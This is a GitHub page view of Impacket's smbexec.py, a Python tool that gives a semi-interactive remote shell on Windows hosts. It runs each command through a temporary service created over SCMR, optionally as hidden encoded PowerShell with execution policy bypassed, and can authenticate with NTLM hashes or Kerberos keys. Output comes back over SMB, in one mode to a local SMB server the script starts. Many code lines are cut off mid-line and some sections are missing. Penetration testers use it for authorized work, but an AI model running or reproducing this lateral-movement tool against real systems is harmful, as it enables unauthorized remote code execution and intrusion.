impacket / examples / smbexec.py

gabrielg5 Updated Copyright to 2023 ✓ 9b4a139 · last year History

```
#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright (C) 2023 Fortra. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
#   A similar approach to psexec w/o using RemComSvc. The technique is described here
#   https://www.optiv.com/blog/owning-computers-without-shell-access
#   Our implementation goes one step further, instantiating a local smbserver to receiv
#   output of the commands. This is useful in the situation where the target machine do
#   have a writeable share available.
#   Keep in mind that, although this technique might help avoiding AVs, there are a lot
#   event logs generated and you can't expect executing tasks that will last long since
#   will kill the process since it's not responding as a Windows service.
#   Certainly not a stealthy way.
#
#   This script works in two ways:
#       1) share mode: you specify a share, and everything is done through that share.
#       2) server mode: if for any reason there's no share available, this script will
#          SMB server, so the output of the commands executed are sent back by the targ
#          into a locally shared folder. Keep in mind you would need root access to bin
#          in the local machine.
#
# Author:
#   beto (@agsolino)
#
# Reference for:
#   DCE/RPC and SMB.
#

from __future__ import division
from __future__ import print_function
import sys
import os
import random
import string
import cmd
import argparse
try:
    import ConfigParser
except ImportError:
    import configparser as ConfigParser
import logging
from threading import Thread
from base64 import b64encode

from impacket.examples import logger
from impacket.examples.utils import parse_target
from impacket import version, smbserver
from impacket.dcerpc.v5 import transport, scmr
from impacket.krb5.keytab import Keytab

OUTPUT_FILENAME = '__output'
```

```
57      OUTPUT_FILENAME = '__output'
58      SMBSERVER_DIR   = '__tmp'
59      DUMMY_SHARE     = 'TMP'
60      CODEC = sys.stdout.encoding
61
62      class SMBServer(Thread):
63          def __init__(self):
64              Thread.__init__(self)
65              self.smb = None
66
67          def cleanup_server(self):
68              logging.info('Cleaning up..')
69              try:
70                  os.unlink(SMBSERVER_DIR + '/smb.log')
71              except OSError:
72                  pass
73              os.rmdir(SMBSERVER_DIR)
74
75          def run(self):
```

```
167             except  (Exception, KeyboardInterrupt) as e:
168                 if logging.getLogger().level == logging.DEBUG:
169                     import traceback
170                     traceback.print_exc()
171                 logging.critical(str(e))
172                 if self.shell is not None:
173                     self.shell.finish()
174                 sys.stdout.flush()
175                 sys.exit(1)
176
177 class RemoteShell(cmd.Cmd):
178     def __init__(self, share, rpc, mode, serviceName, shell_type):
179         cmd.Cmd.__init__(self)
180         self.__share = share
181         self.__mode = mode
182         self.__output = '\\\\%COMPUTERNAME%\\' + self.__share + '\\' + OUTPUT_FILENAME
183         self.__outputBuffer = b''
184         self.__command = ''
185         self.__shell = '%COMSPEC% /Q /c '
186         self.__shell_type = shell_type
187         self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc
188         self.__serviceName = serviceName
189         self.__rpc = rpc
190         self.intro = '[!] Launching semi-interactive shell - Careful what you execute'
191
192         self.__scmr = rpc.get_dce_rpc()
193         try:
194             self.__scmr.connect()
195         except Exception as e:
196             logging.critical(str(e))
197             sys.exit(1)
198
199         s = rpc.get_smb_connection()
200
201         # We don't wanna deal with timeouts from now on.
202         s.setTimeout(100000)
203         if mode == 'SERVER':
204             myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
205             self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SH
206
```

```
207             self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
208             resp = scmr.hROpenSCManagerW(self.__scmr)
209             self.__scHandle = resp['lpScHandle']
210             self.transferClient = rpc.get_smb_connection()
211             self.do_cd('')
212
213         def finish(self):
214             # Just in case the ouput file is still in the share
215             try:
216                 self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME)
217             except:
218                 pass
219
220             # Just in case the service is still created
221             try:
222                self.__scmr = self.__rpc.get_dce_rpc()
223                self.__scmr.connect()
224                self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
225                resp = scmr.hROpenSCManagerW(self.__scmr)
226                self.__scHandle = resp['lpScHandle']
227                resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
228                service = resp['lpServiceHandle']
229                scmr.hRDeleteService(self.__scmr, service)
230                scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
231                scmr.hRCloseServiceHandle(self.__scmr, service)
232             except scmr.DCERPCException:
233                pass
234
235         def do_shell(self, s):
236             os.system(s)
237
238         def do_exit(self, s):
239             return True
240
241         def do_EOF(self, s):
242             print()
243             return self.do_exit(s)
244
245         def emptyline(self):
246             return False
247
248         def do_cd(self, s):
249             # We just can't CD or maintain track of the target dir.
250             if len(s) > 0:
251                 logging.error("You can't CD under SMBEXEC. Use full paths.")
252
253             self.execute_remote('cd ' )
254             if len(self.__outputBuffer) > 0:
255                 # Stripping CR/LF
256                 self.prompt = self.__outputBuffer.decode().replace('\r\n','') + '>'
257                 if self.__shell_type == 'powershell':
258                     self.prompt = 'PS ' + self.prompt + ' '
259                 self.__outputBuffer = b''
260
261         def do_CD(self, s):
262             return self.do_cd(s)
263
264         def default(self, line):
265             if line != '':
266                 self.send_data(line)
267
```



```
272             if self.__mode == 'SHARE':
273                 self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback)
274                 self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME)
275             else:
276                 fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'rb')
277                 output_callback(fd.read())
278                 fd.close()
279                 os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
280
```

GetADUsers.py
GetNPUsers.py
GetUserSPNs.py
addcomputer.py
atexec.py
changepasswd.py
dcomexec.py
describeTicket.py
dpapi.py
esentutl.py
exchanger.py
findDelegation.py
getArch.py
getPac.py
getST.py
getTGT.py
goldenPac.py
karmaSMB.py
keylistattack.py
kintercept.py
lookupsid.py
machine_role.py
mimikatz.py
mqtt_check.py
mssqlclient.py
mssqlinstance.py
net.py
netview.py
nmapAnswerMachine.py
ntfs-read.py
ntlmrelayx.py
ping.py
ping6.py
psexec.py
raiseChild.py
rbcd.py
rdp_check.py
reg.py

```
281      def execute_remote(self, data, shell_type='cmd'):
282          if shell_type == 'powershell':
283              data = '$ProgressPreference="SilentlyContinue";' + data
284              data = self.__pwsh + b64encode(data.encode('utf-16le')).decode()
285
286          batchFile = '%SYSTEMROOT%\\' + ''.join([random.choice(string.ascii_letters) for
287
288          command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > '
289                    self.__shell + batchFile
290
291          if self.__mode == 'SERVER':
292              command += ' & ' + self.__copyBack
293          command += ' & ' + 'del ' + batchFile
294
295          logging.debug('Executing %s' % command)
296          resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName,
297                                       lpBinaryPathName=command, dwStartType=scmr.SERVICE
298          service = resp['lpServiceHandle']
299
300          try:
301             scmr.hRStartServiceW(self.__scmr, service)
302          except:
303             pass
304          scmr.hRDeleteService(self.__scmr, service)
305          scmr.hRCloseServiceHandle(self.__scmr, service)
306          self.get_output()
307
308      def send_data(self, data):
309          self.execute_remote(data, self.__shell_type)
310          try:
311              print(self.__outputBuffer.decode(CODEC))
312          except UnicodeDecodeError:
313              logging.error('Decoding error detected, consider running chcp.com at the ta
314                            'https://docs.python.org/3/library/codecs.html#standard-encod
315                            'again with -codec and the corresponding codec')
316              print(self.__outputBuffer.decode(CODEC, errors='replace'))
317          self.__outputBuffer = b''
318
319
320  # Process command-line arguments.
321  if __name__ == '__main__':
322      print(version.BANNER)
323
324      parser = argparse.ArgumentParser()
325
326      parser.add_argument('target', action='store', help='[[domain/]username[:password]@]
327      parser.add_argument('-share', action='store', default = 'C$', help='share where the
328                                                                          '(default C$)')
329      parser.add_argument('-mode', action='store', choices = {'SERVER','SHARE'}, default=
330                          help='mode to use (default SHARE, SERVER needs root!)')
331      parser.add_argument('-ts', action='store_true', help='adds timestamp to every loggi
332      parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
333      parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from
334                                                         '"%s"). If errors are detected,
335                                                         'map the result with '
336                          'https://docs.python.org/3/library/codecs.html#standard-encod
337                          'again with -codec and the corresponding codec ' % CODEC)
338      parser.add_argument('-shell-type', action='store', default = 'cmd', choices = ['cmd
339                          'a command processor for the semi-interactive shell')
340
341      group = parser.add_argument_group('connection')
342
343      group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Addres
344                         'If omitted it will use the domain part (FQDN) specified in the
345      group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Add
346                         'ommited it will use whatever was specified as target. This is u
347                         'name and you cannot resolve it')
348      group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metav
349                         help='Destination port to connect to SMB Server')
350      group.add_argument('-service-name', action='store', metavar="service_name", help='T
351                                          'service used to trigger the payload')
352
353      group = parser.add_argument_group('authentication')
354
355      group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM
```

```
356         group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (
357         group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Gr
358                            '(KRB5CCNAME) based on target parameters. If valid credentials c
359                            'ones specified in the command line')
360         group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to
361                                                                                 '(128 or 25
362         group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab f
363
364
365         if len(sys.argv)==1:
366             parser.print_help()
367             sys.exit(1)
368
369         options = parser.parse_args()
370
371         # Init the example's logger theme
372         logger.init(options.ts)
373
374         if options.codec is not None:
375             CODEC = options.codec
376         else:
377             if CODEC is None:
378                 CODEC = 'utf-8'
379
380         if options.debug is True:
381             logging.getLogger().setLevel(logging.DEBUG)
382             # Print the Library's installation path
383             logging.debug(version.getInstallationPath())
384         else:
385             logging.getLogger().setLevel(logging.INFO)
386
387         domain, username, password, remoteName = parse_target(options.target)
388
389         if domain is None:
390             domain = ''
391
392         if options.keytab is not None:
393             Keytab.loadKeysFromKeytab (options.keytab, username, domain, options)
394             options.k = True
395
396         if password == '' and username != '' and options.hashes is None and options.no_pass
397             from getpass import getpass
398             password = getpass("Password:")
399
400         if options.target_ip is None:
401             options.target_ip = remoteName
402
403         if options.aesKey is not None:
404             options.k = True
405
406         try:
407             executer = CMDEXEC(username, password, domain, options.hashes, options.aesKey,
408                                options.mode, options.share, int(options.port), options.serv
409             executer.run(remoteName, options.target_ip)
410         except Exception as e:
411             if logging.getLogger().level == logging.DEBUG:
412                 import traceback
413                 traceback.print_exc()
414             logging.critical(str(e))
415         sys.exit(0)
```